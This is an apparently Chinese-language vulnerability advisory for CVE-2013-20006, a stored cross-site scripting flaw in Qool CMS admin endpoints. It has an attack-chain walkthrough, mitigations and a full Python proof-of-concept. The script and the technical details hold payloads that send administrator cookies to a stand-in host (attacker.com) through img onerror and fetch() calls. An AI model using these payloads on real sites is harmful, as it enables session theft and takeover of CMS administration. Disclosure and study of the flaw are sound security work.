IPBUF安全漏洞报告
English
CVE-2013-20006 CVSS 7.5 高危

CVE-2013-20006 Qool CMS 持久性跨站脚本漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2013-20006
漏洞类型
持久性XSS(跨站脚本)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Qool CMS

相关标签

持久性XSSStored XSSQool CMSCVE-2013-20006跨站脚本Web应用安全内容管理系统

漏洞概述

CVE-2013-20006是Qool CMS中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于持久性跨站脚本攻击(Stored XSS),存在于多个管理后台脚本中。漏洞的根本原因是应用程序在接受用户输入的POST参数后,未能对特殊字符进行充分的过滤和转义处理,直接将用户提交的数据存储到数据库。当其他用户(尤其是管理员)访问相关页面时,这些未经处理的恶意脚本代码会被浏览器解析执行,从而实现对受害者浏览器的完全控制。攻击者可以利用此漏洞窃取会话Cookie、劫持用户账号、进行钓鱼攻击或在管理员界面中植入恶意代码。由于漏洞出现在管理后台,攻击者成功利用后可获得管理员权限,进而控制整个CMS系统。该漏洞影响Qool CMS的多个功能模块,包括内容管理、用户管理、菜单管理等核心功能。

技术细节

Qool CMS的持久性XSS漏洞存在于以下管理端点:addnewtype、addnewdatafield、addmenu、addusergroup、addnewuserfield、adduser、addgeneraldata和addcontentitem。这些端点在处理POST请求时,直接将用户提交的参数值存储到数据库,而未对title、name、email、username、link、task等参数进行HTML特殊字符转义。攻击者可以在这些参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=this.src='https://attacker.com/?c='+document.cookie>。当管理员访问相关列表或详情页面时,存储的恶意脚本会被浏览器作为页面内容的一部分解析执行。由于管理员通常具有更高权限,攻击者可通过窃取的管理员Cookie进一步进行横向移动或完全控制服务器。该漏洞属于OWASP Top 10中的A7(2017版)/A03(2021版)跨站脚本漏洞类别。攻击者利用此漏洞无需任何特殊权限,仅需构造包含恶意代码的POST请求即可完成注入。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用Qool CMS,并发现管理后台登录入口
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意JavaScript代码的POST请求,选择受影响的参数(title/name/email/username/link/task)和端点(addnewtype等)
STEP 3
步骤3: 注入恶意代码
向目标管理端点发送恶意POST请求,恶意脚本被存储到数据库中
STEP 4
步骤4: 等待管理员访问
当管理员访问相关管理页面时,存储的恶意脚本随页面内容一同返回给浏览器
STEP 5
步骤5: 脚本执行
浏览器将恶意脚本作为页面内容解析执行,攻击者可在受害者浏览器中执行任意JavaScript代码
STEP 6
步骤6: 窃取敏感信息
通过document.cookie等API窃取管理员会话Cookie或其他敏感信息
STEP 7
步骤7: 权限提升
利用窃取的Cookie伪造管理员身份登录后台,进一步控制整个CMS系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2013-20006 PoC - Qool CMS Stored XSS # Target: Qool CMS admin endpoints # Vulnerability: Stored XSS in POST parameters import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target.com/qool-cms/admin/" # XSS payloads for different parameters PAYLOADS = { 'title': '<script>alert(document.cookie)</script>', 'name': '<img src=x onerror=this.src="https://attacker.com/?c="+document.cookie>', 'email': '" onfocus="alert(1)" autofocus="', 'username': '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', 'link': 'javascript:alert(document.domain)', 'task': '<iframe src="javascript:alert(document.cookie)">' } ENDPOINTS = [ 'addnewtype', 'addnewdatafield', 'addmenu', 'addusergroup', 'addnewuserfield', 'adduser', 'addgeneraldata', 'addcontentitem' ] def exploit(endpoint, param, payload): """Send malicious POST request to inject XSS""" target = TARGET_URL + endpoint data = { param: payload, 'submit': 'Submit' } try: response = requests.post(target, data=data, timeout=10) print(f"[+] Sent payload to {endpoint} with param {param}") print(f"[+] Payload: {payload}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2013-20006 Qool CMS Stored XSS Exploit") print("=" * 50) # Test all endpoints for endpoint in ENDPOINTS: for param, payload in PAYLOADS.items(): exploit(endpoint, param, payload) print("\n[!] PoC completed. Check if XSS was stored and executed.")

影响范围

Qool CMS 所有版本

防御指南

临时缓解措施
在修复前,可采取以下临时缓解措施:1)限制管理后台访问权限,仅允许可信IP访问;2)启用双因素认证保护管理员账号;3)在Web服务器层面配置XSS过滤规则;4)定期检查数据库中是否存在可疑的脚本标签;5)监控异常的管理后台访问行为。建议尽快升级到官方发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表